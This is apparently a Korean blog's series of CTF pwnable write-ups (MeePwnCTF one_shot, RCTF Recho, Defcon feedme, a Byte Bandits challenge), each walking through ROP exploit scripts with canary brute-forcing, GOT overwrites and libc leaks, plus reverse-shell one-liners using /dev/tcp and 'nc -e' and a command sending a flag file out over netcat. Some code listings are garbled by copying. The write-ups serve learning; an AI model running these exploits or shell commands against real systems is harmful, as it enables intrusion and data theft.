Write-up/Pwnable

얼마전 있었던 MeePwnCTF 2018에서 나왔던 one_shot이란 문제이다. CTF 시간이 48시간이였던지라, 여유를 가지고 풀어보려고 잡았으나.. 30시간이 넘게 시간을 투자하였음에도 불구하고 풀지못했다 ㅡㅡ; 끝나고 난 뒤, IRC를 통해 사람들이 리버스쉘을 통해 푸는 문제라고 말한 것을 듣고 충격이 있었으나, 어짜피 리버스쉘을 실행시켜도 내 쪽 서버가 없어서 결국 못푸는 문제였던거 같다.


뭐 그래도, 이렇게 하나 배워가는 것이고, 다음에 비슷한 문제가 나온다면 팀원들 중에 개인서버가 있는 사람한테 부탁해서라도 풀 수 있지않을까 생각한다.


는 무슨 하루종일 리버스쉘만 따려고 별짓을 다했는데 안된다 ㅡㅡ; 아 화난다 진짜;; 아으ㅏㅇ



nc 178.128.87.12 31338

https://ctf.meepwn.team/attachments/pwn/one_shot_7f980ea94c21c4c45b47b126b8678777.tar.gz


문제는 내용은 위와 같다. 현재는 서버가 닫혔으므로, 로컬에서 Exploit을 진행하도록 하겠다. 먼저 어떤 보호기법들이 적용되있는지 살펴보자.



sherlock@ubuntu:~/workstation/2018_CTF/MeePwn/one_shot$ file one_shot one_shot: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=29266d4ecc4a047f613a525401fbd87650e968ed, stripped


64bit바이너리파일이고, stripped되있다. 일단 잘 모르겠으니 실행해보면 사용자로부터 입력을 받는것 같은데, 입력 후 그냥 종료되어버리는 것을 알 수있다. 정확한 동작을 모르겠으니 IDA를 이용해서 살펴보기로 하였다.



이 프로그램을 실행하면 사용자로부터 0x234만큼의 데이터를 read함수를 통해 받고, close()를 통해 stdinstdoutstderr를 닫아버린다.


처음에는 이 3개를 닫아도 아무 문제없을 것이라 생각했는데... 이 3개가 닫히니 아에 아무것도 할 수가 없게되었다 ㅡㅡ;


stdout이 닫혀있다보니, 출력이 안되므로 leak을 못한다. 그러므로 libc_base주소를 구하는 것도 못하고, 어떻게해서 쉘을 띄운다고 해도 stdin,stdout이 닫혀있으니, 상호작용을 할 수가 없다.


그런데 정작 나는 그것을 고려하지도 않고, "어떻게해서든 쉘만 띄우면 되겠지~"하고 ROP로 execve("/bin/sh", 0, 0)을 실행시켰는데, 안돼서 "왜 쉘이 안띄워지는것이냐!!" 하면서 미쳐버리는줄 알았다... 하;


참고로 CTF 당시에 작성한 payload를 써서 strace로 추적해보면 정상적으로 execve("/bin/sh", 0, 0)가 실행되는 것을 볼 수있는데, 물론 stdin,stdout이 막혀있기때문에 바로 종료되는 것을 볼 수 있다.



그렇기때문에 여기서는 리버스쉘을 사용해서 클라이언트쪽에서 포트를 열어주고, 서버쪽에서 그 포트로 접속하여 flag를 보내게하던지, 아니면 쉘을 띄워주던지해야한다. 그래서 밑의 2가지 방법 등으로 쉘을 띄울수가 있다.


  1. bash의 /dev/tcp를 이용한 방법 (ip:127.0.0.1 port:1234)

/bin/sh >& /dev/tcp/127.0.0.1/1234 0>&1

  1. netcat을 이용한 방법

nc -e /bin/sh 127.0.0.1 1234


문제는 서버쪽에서 저 연결을 유지를 못시켜주는 것 같아서 (stdin, stdout이 닫힌것과 관련있을지도), 결국 또 하루종일 리버스쉘띄우려다가 결국 못띄우고, 명령어 하나씩 실행해서 결과를 서버쪽에 리턴받는 방식으로 하기로 했다.


계획은 이렇다.


  1. 자신의 개인서버에서 netcat으로 포트를 연다.

nc -l -p 1234

  1. execve("/bin/sh", ["/bin/sh","-c", "명령어",0], 0)을 실행하여 원하는 명령을 실행하고, 그 결과를 자신의 서버로 전송하는 payload를 작성해 공격한다.

명령어 : cat /home/sherlock/flag | nc 127.0.0.1 1234

  1. 1~2를 통해 flag의 위치를 알아내고, flag값을 자신의 서버에 전송한다.
  2. flag를 획득한다.

자 그럼 먼저 netcat으로 서버의 포트를 열어주자.



그리고 작성된 python code를 실행하자.



1234 포트를 열어둔 곳으로 가보면, 포트가 닫히고 flag값이 들어와있는 것을 볼 수 있다.


이렇게 문제를 풀 수 있는데, CTF 당시에는 가젯들을 이용해서 "/bin/sh"라는 값을 원하는 장소에 쓰는데 애를 먹었다. CTF가 끝나고 나서 다른 팀의 writeup을 보고 좀 더 깔끔하고 편하게 원하는 값을 복사해서 쓰는 payload가 있길래 참고해서 더 쉽게 exploit하는 법을 적는다.


처음에는 buffer는 의미가 없고, 뒤의 ret만 조작해서 ROP하려했는데, buffer에 입력한 값을 복사해서 재활용할 수 있었다.



위의 코드를 보면 i변수에 v5의 주소를 넣고, buffer의 주소를 증가시키며 그 값을 v5에 v2 byte만큼 복사하는 것을 볼 수 있다. 이를 다시 어셈블리어로 보면 아래와 같다.



rdi가 있는 주소의 1바이트 값을 rsi에 복사하는 것을 볼 수 있다. 이를 반복하는데, eax만큼 반복하게 되어, 결국 eaxbyte만큼 rdi에서 rsi로 복사되게 된다.


이걸 이용해서 buffer에 "/bin/sh" 및 "-c", "nc IP PORT" 등을 쓰면 되고, 그 값을 원하는 주소에 복사하여 exploit에 활용할 수 있다.


#!/usr/bin/env python
from pwn import *

conn = process("./one_shot")

check = 0x8a919ff0

alarm_plt = 0x400520
alarm_got = 0x601020
puts_plt = 0x400510

mov_eax = 0x004006f7 # mov eax, dword [rbp-0x0C] ; pop rbx ; pop rbp ; ret  ;  (1 found)
copy_rdi2rsi = 0x400684 # copies eax bytes from rdi to rsi
						# [rbp-0x20] and [rbp-0x1C] need to be equal (or null)

pop_rbp = 0x00400774 # pop rbp ; ret
pop_rdi = 0x00400843 # pop rdi ; ret  ;  (1 found)
pop_rsi_r15 = 0x400841 # pop rsi ; pop r15 ; ret

len_addr = 0x40070e # contains 0x234
trash_rbp = 0x601100 # random writable addr in a nulled area
copy_buffer_addr = 0x601600 # where our copied buffer will be

cmd = "cat /home/sherlock/flag | nc 127.0.0.1 1234"

### check pass
payload =  p32(check)
# execve("/bin/sh", )
payload += "/bin/sh\x00"
payload += "-c\x00"
payload += cmd
payload += "\x00"*10

#argv_address
argv_addr = copy_buffer_addr + len(payload)-4

# argv = ["/bin/sh", "-c", cmd, 0]
payload += p64(copy_buffer_addr) 	# "/bin/sh"
payload += p64(copy_buffer_addr+8) 	# "-c"
payload += p64(copy_buffer_addr+11) # cmd
payload += p64(0)					# NULL

# execve syscall num
execve_syscall_num_addr = copy_buffer_addr + len(payload)-4
payload += p64(59)
payload += "\x00"*(0x80-len(payload))

# now buffer is end and copy buffer
payload += p64(len_addr+0xc) # [rbp-0xc] is 0x234
payload += p64(mov_eax)  	 # eax = 0x234
payload += p64(0xdeadbeef)   # rbx
payload += p64(trash_rbp)   # rbp

payload += p64(pop_rsi_r15)	 # set rsi to new_buffer_address
payload += p64(copy_buffer_addr)
payload += p64(0xdeadbeef) 	 # r15
payload += p64(copy_rdi2rsi)
payload += p64(0xdeadbeef)  # rbx
payload += p64(trash_rbp)	# rbp

# make alarm call to syscall
# now rax value is 1
payload += p64(pop_rdi)	 # set rdi to (alarm+5) 1byte value   <alarm+5>:	syscall
payload += p64(0x4005e3) # contains byte 0xe5
payload += p64(pop_rsi_r15)	 # set rsi to new_buffer_address
payload += p64(alarm_got)
payload += p64(0xdeadbeef) 	 # r15
payload += p64(copy_rdi2rsi)
payload += p64(0xdeadbeef)  # rbx
payload += p64(trash_rbp)	# rbp

# now alarm call is syscall
# call execve!
payload += p64(pop_rbp)	 
payload += p64(execve_syscall_num_addr + 0xc)
payload += p64(mov_eax)	 # eax = 59
payload += p64(0xdeadbeef)   # rbx
payload += p64(trash_rbp)   # rbp

payload += p64(pop_rbp)	 
payload += p64(execve_syscall_num_addr + 0xc)
payload += p64(mov_eax)	 # eax = 59
payload += p64(0)   # rbx
payload += p64(trash_rbp)   # rbp

pop_r12_15 = 0x40083c   # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
register_set_and_call_func   = 0x400820	# mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)

#set
payload += p64(pop_r12_15)
payload += p64(alarm_got)	# syscall set! r12=syscall_address & rbx=0 -> call qword [r12+rbx*8]
payload += p64(0)			# r13 -> rdx = 0
payload += p64(argv_addr)	# r14 -> rsi = argv_addr
payload += p64(copy_buffer_addr)	# r15 -> rdi = "/bin/sh\x00"
payload += p64(register_set_and_call_func)

log.info("payload_len : %x <= 0x234" % len(payload))

conn.send(payload)
conn.interactive()


위 파이썬 익스코드를 실행하면 로컬환경에 있는 flag를 획득할 수 있다.


*후기


처음에는 문제 이름이 one_shot이길래, oneshot_gadget을 사용하란건 줄 알았다. 그래서 leak을 하기 위해 엄청나게 많은 시간을 투자하였으나, 무리였음을 깨닫게되었다..


뭐 그래도 reverse shell을 CTF에서 사용하는 걸 본게 처음이라, 나중을 위한 큰 도움이 될거라 생각한다.


문제는 내 서버가 없어서, 다음에 이런 문제가 나오면 어디서 쉘을 받느냐는 것이지만 ㅡㅡ;

'Write-up > Pwnable' 카테고리의 다른 글

[WhiteHatWargame.vn] onechange  (0) 2018.08.13
[Codegate 2014] nuclear  (0) 2018.08.05
[MeePwnCTF 2018] one_shot (대회 당시 삽질한 글)  (0) 2018.07.26
[RCTF 2017] Recho  (0) 2018.07.10
[Defcon 2016 Quals] feedme  (0) 2018.07.09


몇일전에 있었던 MeePwnCTF에 나온 one_shot문제이다. 디스어셈블링해보면 프로그램 실행 후 

read함수로 사용자로부터 0x234만큼 받고, stdin, stdout, stderr 모두 close()로 닫아버린다.


이것때문에 평범하게 쉘을 못띄운다 ㅡㅡ; 

그래서 리버스쉘을 사용해야하는데... 나는 그것도 모르고 execve("/bin/sh", 0, 0)을 ROP로 실행시켰는데!!!

왜 쉘이 안띄워지는것이냐!! 하면서 미쳐버리는줄 알았다... 하;



strace로 추적해본 결과... execve("/bin/sh", 0, 0)가 실행되긴한다 ㅡㅡ; 그러나 stdin, stdout이 죽어버렸는데 뭘 할수 있을꼬...


어쨋든 그러한 것이고...

혹시나해서 one_shot파일을 patch하여 stdin,stdout이 닫히지않았을때는 과연 내 payload가 먹히는지 실험해보았다.



0,1,2를 닫게하는게 원래 코드인데, 대충 수정해서 0,1,2는 안닫히게 해보았다.



우왕... 너무 잘되는것... ㅂㄷㅂㄷ


다음 포스팅은 리버스쉘을 사용해서 flag를 획득하는 것을 해보겠다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/env python
from pwn import *
 
elf = ELF("./one_shot_patch")
conn = process("./one_shot_patch")
 
check = 0x8a919ff0
 
exit_got = 0x601038
alarm_plt = 0x400520 
 
rdi_store_and_plus4 = 0x400665    # mov     [rbp+var_18], rdi
mov_eax = 0x004006f7 # mov eax, dword [rbp-0x0C] ; pop rbx ; pop rbp ; ret  ;  (1 found)
store_bss = 0x40079C #       mov     [rbp-4], eax
 
pop_rbp = 0x00400774
pop_rdi = 0x00400843 #pop rdi ; ret  ;  (1 found)
ret = 0x0040085c
 
ecx_set = 0x04006D8 #   movsx   ecx, [rbp+var_1D]
 
#0x004004ea: add byte [rax-0x7B], cl ; sal byte [rdx+rax-0x01], 0xFFFFFFD0 ; add rsp, 0x08 ; ret  ;  (1 found)
add_raxad = 0x004004ea
 
### check pass & exit@got overwrite => ret
payload =  p32(check)
payload += "\x00"*0x7c + p64(elf.bss()+200+0x18)
payload += p64(pop_rdi)
payload += p64(ret)
payload += p64(rdi_store_and_plus4)
payload += p64(0xdeadbeef)
payload += p64(elf.bss()+200+0x0c)
payload += p64(mov_eax)
payload += p64(0xdeadbeef)
payload += p64(exit_got + 0x4)
payload += p64(store_bss)
 
###make syscall
payload += p64(pop_rbp)
payload += p64(elf.bss()+0xF0+0x18)
payload += p64(pop_rdi)
payload += p64(0x60110e)
payload += p64(rdi_store_and_plus4)
 
payload += p64(pop_rbp)
payload += p64(elf.bss()+0x110+0x18)
payload += p64(pop_rdi)
payload += p64(elf.got['read']+0x7B)
payload += p64(rdi_store_and_plus4)
 
payload += p64(pop_rbp)
payload += p64(elf.bss()+0xF0+0x1D)
payload += p64(ecx_set)
payload += p64(0xdeadbeef)
payload += p64(elf.bss()+0x110+0x0c)
payload += p64(mov_eax)
payload += p64(0# ebx
payload += p64(elf.bss()+0x40+0x4#tmp
payload += p64(add_raxad)
payload += p64(0xdeadbeef)
#now close is syscall!
 
binsh00 = "\x2f\x62\x69\x6e\x2f\x73\x68\x00"
 
payload += p64(pop_rdi)
payload += binsh00
payload += p64(alarm_plt)
payload += p64(alarm_plt)
payload += p64(store_bss)
payload += p64(pop_rbp)
payload += p64(elf.bss()+0x44+0x4)
payload += p64(pop_rdi)
payload += binsh00[4:]+"\x00\x00\x00\x00"
payload += p64(alarm_plt)
payload += p64(alarm_plt)
payload += p64(store_bss)
 
pop_r12_15 = 0x0040083c #0x0040083c: pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
mov_rdx = 0x00400820    #mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)
 
payload += p64(pop_rdi)
payload += p64(59)
payload += p64(alarm_plt)
payload += p64(alarm_plt)
payload += p64(pop_rbp)
payload += p64(1)
payload += p64(pop_r12_15)
payload += p64(elf.got['read'])
payload += p64(0)
payload += p64(0)
payload += p64(elf.bss()+0x40)
payload += p64(mov_rdx)
 
log.info("payload_len : %d <= 564" % len(payload))
 
conn.send(payload)
conn.interactive()
cs






 

'Write-up > Pwnable' 카테고리의 다른 글

[Codegate 2014] nuclear  (0) 2018.08.05
[MeePwnCTF 2018] one_shot writeup  (0) 2018.07.26
[RCTF 2017] Recho  (0) 2018.07.10
[Defcon 2016 Quals] feedme  (0) 2018.07.09
[34C3 CTF 2017] readme_revenge  (0) 2018.07.02

[RCTF 2017] Recho

2018. 7. 10. 19:11

syscall 이용해서 익스를 몇번해보고 조금 더 연습해봐야겠단 생각에 RCTF 2017의 Recho를 풀어보았다...

도대체가 왜 항상 이리 코드가 안먹히는건지 ㅡㅡ;; 너무 실수가 많은것 같지만 어떻게든 했다;;


먼저 file 명령어를 통해 보면 아래와 같다.

sherlock@ubuntu:~/workstation/study_pwn/Recho_$ file Recho 

Recho: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=6696795a3d110750d6229d85238cad1a67892298, not stripped


64bit 바이너리이고 스트립되있지 않아서 분석하기 편할 것 같다.



보호기법이 무엇이 있는지도 보았다.

NX가 걸려있는것 말고는 별다른 보호기법은 적용되어있지않다.



??? 그리고 strings로 한번 검색해보았는데 flag라는 스트링값이 존재한다. 어디에 쓰일진 아직 모르겠다.


Ida에서도 발견!




strip되있지않아 Ida로 main을 바로 볼 수 있었다.

동작은 간단하게 read로부터 사용자에게 얼마만큼을 입력받을지는 받고 그만큼 버퍼에 쓴다.

그러므로 여기서 BOF를 일으켜 ret를 덮을수 있다!


그런데 문제가 while안에 있는 read가 리턴하는 값이 0보다 크다면 while루프를 계속 돌기때문에 while을 빠져나올 필요가 있는데 여기서 사용할 수 있는게 프로그램 실행중 Ctrl+D를 누르면 종료시그널을 보내는 것이다. 종료시그널을 보내면 while루프를 빠져나와 프로그램이 종료되게 할 수 있다.


그런데 프로그램이 종료되므로 ret를 덮어 leak을 한다해도 프로그램이 종료되어서 쓸모가 없어진다 ㅡㅡ;

그래서 syscall을 이용해서 문제를 풀어보자.


계획은 아래와 같다.


1. open(flag, 0, 0)

2. read(3, bss, 100)

3. write(stdout, bss, 100)


open으로 flag 파일을 읽어오고, 그 값을 read를 이용해 bss영역에 쓴다.

그리고 그 값을 write로 stdout으로 써주면 flag가 출력될 것이다.


그럼 필요한 값을 찾아보자!



flag string은 여기있고... 문제는 syscall (int 0x80)이 가젯을 구할 수가 없었다 ...(ㅡㅡ;)

rp++로 찾았는데;; 이게 없어서 막혀버렸담ㄴㅇㄹ


그러다 read함수 내부에서 syscall을 찾을 수 있었다.



저기있다. 즉 read주소+0xe만큼의 위치에 존재한다.

그럼 이제 read주소의 got가 가리키는 값을 0xe만큼 증가시켜서 read@plt를 부르면 syscall이 호출되게하면 된다.

가젯중에 add byte [rdi], al ; ret이 있어 rdi에 read@got를 넣고 eax에 0xe를 넣은 후 이 가젯을 호출하면 read를 호출하게 되면 이제 syscall이 호출되게 된다.


그러면 이제 아래와 같이 하면 된다. 끝!


1. open(flag, 0, 0)

2. read(3, bss, 100)

3. write(stdout, bss, 100)


Exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
 
#context.log_level = 'debug'
 
= ELF("./Recho")
= process("./Recho")
 
address_add = 0x40070d #add byte [rdi], al ; ret
pop_rax = 0x004006fc # pop rax ; ret  ;
pop_rdi = 0x004008a3
pop_rsi = 0x004008a1 # pop rsi ; pop r15 ; ret
pop_rdx = 0x004006fe # pop rdx ; ret
 
read_addr = e.got['read']    # 0x601030
syscall = 0x400600 # read@plt
 
flag_address = 0x00601058
 
# 1. read_addr.got -> add byte! result= syscall_address
payload =  "A"*48    # buffer
payload += p64(e.bss()) # sfp
payload += p64(pop_rax)
payload += p64(0xe)        # read_addr+0xe = syscall_address
payload += p64(pop_rdi)
payload += p64(read_addr)
payload += p64(address_add) # read_addr.got -> syscall_adress
 
# 2. syscall open(flag, 0, 0) O_RDONLY=0 #http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
payload += p64(pop_rax)
payload += p64(0x2)        # open syscall_num , open func is return fd number
payload += p64(pop_rdi)
payload += p64(flag_address) # "flag"
payload += p64(pop_rsi)
payload += p64(0)*2        # O_RDONLY=0
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)
#fd: 0, 1, 2 is stdin, stdout, stderr // and next open call return is 3, because it gives the smallest value that is not currently used.
 
# 3. read flag! syscall read to bss
payload += p64(pop_rax)
payload += p64(0x0)        # read syscall_num
payload += p64(pop_rdi)
payload += p64(0x3# open flag fd number
payload += p64(pop_rsi)
payload += p64(e.bss())+p64(0)    # bss
payload += p64(pop_rdx)
payload += p64(100)    # read size
payload += p64(syscall)
 
# 4. syscall write! write stdout
payload += p64(pop_rax)
payload += p64(0x1)        # wrtie syscall_num
payload += p64(pop_rdi)
payload += p64(0x1# stdout
payload += p64(pop_rsi)
payload += p64(e.bss())+p64(0)    # bss
payload += p64(pop_rdx)
payload += p64(100)    # write size
payload += p64(syscall)
 
p.sendlineafter("Welcome to Recho server!",str(len(payload)))
sleep(2)
p.sendline(payload)
 
p.shutdown()
 
cut=42
 
recv = p.recvall()
recv = recv[cut:recv.find('\00')]
 
print(recv)
p.close()
cs


[Defcon 2016 Quals] feedme

2018. 7. 9. 00:40

항상 그렇지만... 삽질을 했다..


일단 바이너리 feedme를 주는데, 32비트 파일이다. stripped되있고 static compile되있어서 분석하는데 시간이 걸렸다 ㅡㅡ;

feedme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped

바이너리를 실행하면 "FEED ME!"라고 나오면서 사용자로부터 입력받는데


첫 1바이트로 사용자로부터 얼마나 받을지를 결정하고, 그만큼 받는데 여기서 BOF가 일어난다.

그런데 중간에 Canary가 있어서 이 canary 우회가 필요하다.


이 프로그램에서는 FORK를 해서 프로그램이 끝나면 다시 자식으로 fork해서 실행하기때문에 항상 카나리값이 같으므로 bruteforce해서 카나리값을 알아낼 수 있다. 버퍼가 32만큼 있고 카나리가 4바이트가 있어서 32+예상되는 카나리값을 입력해서 *** stack smashing detected *** 가 뜬다면 카나리값이 틀린것이고 안뜬다면 맞는다는 것이므로 1바이트씩 브루트포싱하면 된다.


이렇게 Canary값을 알아내고 return address를 덮어서 프로그램 흐름을 조작할 수 있다.

그런데 static compile되있고 stripped되있어서 어디로 뛰어야할지 몰랐는데


syscall을 사용하면 된다는 것을 알게되었다.

sys_read(stdin, bss영역, 8) 해서 bss영역에 "/bin/sh\00"을 쓰고

sys_execve("/bin/sh\00", 0, 0) 해서 쉘을 실행시키면 된다.


필요한 가젯과 값은 아래 코드에 다 들어있다.

여기서 조심해야할 것은 sys_execve실행할 때 인자를 "/bin/sh\00"이 있는 주소와 NULL값 2개로 넣어주는 것이다.

"/bin/sh"를 넣거나 "/bin/sh;#"등을 넣으면 sys_execve로 실행이 안된다 ㅡㅡ; 이것때문에 개고생....

그리고 read해서 쓸때에도 8바이트를 넣어줘야 null바이트까지 읽고 써준다.


Exploit code


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
 
#context.log_level = 'debug'
= process("./feedme")
e= ELF('./feedme')
 
def FEED_ME(food):
    p.sendafter("FEED ME!",chr(len(food)))
    p.send(food)
 
canary = ""
 
for i in range(0,4):
    for c in range(0,256):
        FEED_ME("A"*32+canary+chr(c))
        if not "*** stack smashing detected ***" in p.recvuntil("Child exit."):
            canary+=chr(c)
            break
log.info("canary    : 0x%x " % u32(canary))
 
bss = e.bss()    # bss address
pop_eax = 0x809e17a    #pop eax, pop ebx, pop esi, pop edi, ret
pop_dcb = 0x806f370 #pop edx, pop ecx, pop ebx
 
syscall_ret = 0x806fa20    # int 0x80; ret
 
payload =  "A"*32    # buffer
payload += canary    # cannary
payload += "B"*8+"CCCC"    # dummy + sfp
payload += p32(pop_eax)    # ret
payload += p32(0x03)+"AAAA"*3 #sys_read
payload += p32(pop_dcb)    # sys_read(0, bss, 8);
payload += p32(8)    #/bin/sh\00 length
payload += p32(bss)
payload += p32(0#stdin
payload += p32(syscall_ret)    # syscall
 
payload += p32(pop_eax)
payload += p32(0x0b)+"AAAA"*3 #sys_execve    #http://syscalls.kernelgrok.com/
payload += p32(pop_dcb)    #sys_execve("/bin/sh", 0, 0);
payload += p32(0)*2
payload += p32(bss)
payload += p32(syscall_ret) # syscall
payload += "BBBB"
 
 
print(FEED_ME(payload))
p.send("/bin/sh\00")
p.interactive()
cs


[34C3 CTF 2017] readme_revenge

2018. 7. 2. 01:18

Pwn문제를 뭘 풀까 찾다가 2달전에 했던 Byte Bandits CTF 2018에서 봤던 문제를 풀어보기로 했다. Tale of a Twisted Mind라는 문제로 CTF 당시에는 Pwnable에 익숙하지 않은지라 풀지 못했으나 지금은 어느정도 개념이 잡혔고, 문제점수 또한 250점으로 난이도가 적당할 거 같아서 풀어보기로 하였다.

We all know how intelligent Layat is... He says that since everyone knows how gcc programs are protected, he set out to protect them by his own secret way.

But Alas! Even the compiler asked "Art Though Dumb?"

nc 34.218.199.37 6000

문제는 위와 같고, 바이너리 파일과 라이브러리를 주므로 이걸 분석하면 된다. 당연하지만 현재 서버는 닫혔고, 라이브러리를 주긴했으나 그냥 로컬기준으로 해서 문제를 풀겠다.(물론 LD_PRELOAD로 설정해줘도 되긴하다.)

먼저 checksec을 이용해 어떤 보호기법들이 적용되어있는지 살펴보겠다.



32bit이고 Canary와 NX가 걸려있어 매우 어려울 것 같은 느낌이다. 아직 뭘 해야할지 잘 모르겠으니, 먼저 실행해보자. 실행하면 아래와 같이 모듈러연산을 하는 식을 던져주는데, 이게 풀어도 풀어도 계속 문제를 준다 ㅡㅡ;



일단 프로그램의 시작부분이 어떻게 시작하는 지 알았으니 이제 IDA를 사용해 저 부분을 한번 살펴보자. 저 문구 자체는 String Window에서 쉽게 찾을 수 있고, 거기서 거슬러 올라가면 이 프로그램의 흐름을 알 수 있다.



여기서 사용되고 있고, 사용하고 있는 함수를 찾아보면 sub_8048867()에서 찾을 수 있고, 여기서 더 올라가보면 이 함수가 312번 호출되는 것을 알 수 있다.



그렇다면 저 함수를 312번 호출이 끝나면 무엇이 수행되는지 보자. 아래 그림을 통해 이 프로그램이 대략적으로 어떻게 돌아가는지 표현해보았다.



사용자에게 312번의 수식계산(Question)을 시키고, 이를 통과하게 되면 사용자가 원하는 값을 fgets를 통해 buffer에 쓸 수 있다. 그런데 여기서 buf에 해당하는 s는 bp-14의 위치에 있는데, fgets를 통해 46의 길이를 읽게되므로 Buffer Overflow가 일어나는 것을 알 수 있다.

  int v2; // eax@1
  int v3; // eax@2
  int result; // eax@3
  int v5; // eax@6
  int v6; // edx@9
  signed int i; // [sp+4h] [bp-18h]@1
  char s; // [sp+8h] [bp-14h]@8
  int v9; // [sp+18h] [bp-4h]@1

그럼 이제 bof를 이용해 함수 흐름을 조작해서 libc_base를 leak하고, 최종적으로는 ROP로 system("/bin/sh")를 수행할 수 있을 것이다! ... 인줄 알았지만 아직 Canary가 남아있었다 ...

다시 위에서 정리해놓은 것을 보면 Canary는 sub_8048801()에 의해 27~29줄에서 다시 설정된다. 그런데 이 sub_8048801()이란 함수가 이전에도 많이 쓰이는데... 바로 처음에 사용자에게 던져주는 수식의 난수생성에 쓰인다.

여러번 실행해보면 알겠지만 주어지는 수식의 값이 항상 다르다는 것을 알 수 있는데, IDA를 통해 hexray한 코드를 보면 이 random한 값은 time(0)에 의한 결과이다. time(0)의 값이 이 프로그램에서는 C함수에서 srand(seed)의 seed값으로 들어가는 것과 같은 효과가 여기서 나타난다. 그러므로 time(0)이 같다면 항상 같은 난수 생성이 가능하다.



time(0)의 값을 설정하고 랜덤한 값을 312*2번 뽑고, 한번 더 뽑게되면 우리가 원하는 Canary값을 얻을 수 있다. 그럼 이제 어떻게 할까? Canary값을 구하기 위한 두가지 방법이 있다.

  1. 해당 프로그램에서 Random값을 뽑아내는 알고리즘과 같은 알고리즘을 쓰는 소스를 구현한다.
  2. 바이너리 code patch를 통해 우리가 원하는 Canary값을 출력하게 한다.

여기서는 후자, code patch를 이용해서 Canary값을 출력하는 방법을 사용하겠다.



위에서 Canary값을 설정하는 코드를 보면 Canary값을 설정한 후, bss영역(전역변수)의 dword_804AA28에 저장하게되는데 이 부분을 puts을 통해 출력하게 patch한다면 우리가 원하는 Canary값이 puts를 통해 출력될 것이다.



자! 이제 원본파일인 twisted와 Canary를 출력하게 patch한 twisted_modipy를 동시에 실행한다면 time(0)의 값을 같으므로 같은 난수생성을 하게 되고, 같은 Canary값을 가질 것이다. 이 때 우리는 twisted_modipy를 통해 Canary값을 얻을 수 있으므로, twisted에서 bof를 성공적으로 일으킬수 있다.

그럼 이제 코드짜는 일만 남았다.. 계획은 일단 아래와 같다.

  1. 먼저 puts.plt로 리턴하여 puts.got를 인자로 넣어 puts_addr을 구한다.
  2. 위에서 구한 puts_addr을 이용해서 libc_base를 구한다.
  3. libc_base를 통해 system함수와 "/bin/sh"의 주소를 구한다.
  4. system("/bin/sh")를 실행한다.

급마무리하는 느낌이 있지만, 익스코드는 아래와 같다.

from pwn import *
import string

#context.log_level = 'debug'

elf = ELF("./twisted")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

conn = process("./twisted", env={"LD_PRELOAD":"libc.so.6"})
patched = process("./twisted_modify", env={"LD_PRELOAD":"libc.so.6"})

for i in range(0,312):
	Equation = conn.recvuntil("=")
	patched_Equation = patched.recvuntil("=")
	patched.recvline()
	conn.recvline()
	if not (Equation == patched_Equation):
		break
	op1, op2 = Equation[:-1].split("%")
	result = int(op1) % int(op2)
	conn.sendline(str(result))
	patched.sendline(str(result))

patched.recvline()
canary = patched.recv(4)
patched.close()
print("")

log.info("canary : 0x%x\n" % u32(canary))

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

fgets_sbuf = 0x8048979
bss = 0x804A800

payload  = "A"*16
payload += canary
payload += p32(bss)	# ebp
payload += p32(puts_plt)
payload += p32(fgets_sbuf)
payload += p32(puts_got)

conn.recvuntil(":")
conn.send("a")	## getchar != '\n'
conn.sendline(payload)

conn.recvline()
puts_addr = conn.recv(4)
puts_sym = libc.symbols['puts']

libc_base = u32(puts_addr)-puts_sym
system_offset = 0x40310
bin_sh_offset = 0x162d4c
system_addr = libc_base + system_offset
bin_sh_addr = libc_base + bin_sh_offset

log.info("base_libc   : 0x%x" % libc_base)
log.info("puts_addr   : 0x%x" % u32(puts_addr))
log.info("system_addr : 0x%x" % system_addr)
log.info("bin_sh_addr : 0x%x" % bin_sh_addr)

payload  = "A"*16
payload += canary
payload += p32(bss)	# ebp
payload += p32(system_addr)
payload += "BBBB"
payload += p32(bin_sh_addr)

conn.sendline(payload)
conn.interactive()

위 파이썬 익스코드를 실행하면 Shell을 획득할 수 있다.




*후기

재미있는 문제였다. 일단 seed값을 똑같이 설정해서 같은 랜덤값을 얻는 문제를 실제로 풀어본 것이 처음이였다.

뭐... 그 만큼 삽질을 많이해서 굉장히 시간을 많이 잡아먹었지만 ㅡㅡ;

일단 while(getchar() == 10) ; 부분이 당연히 버퍼를 비워주기 위한 코드인줄 알아서 익스할때 익스가 제대로 되지않아서 많은 시간을 잡아먹었고,

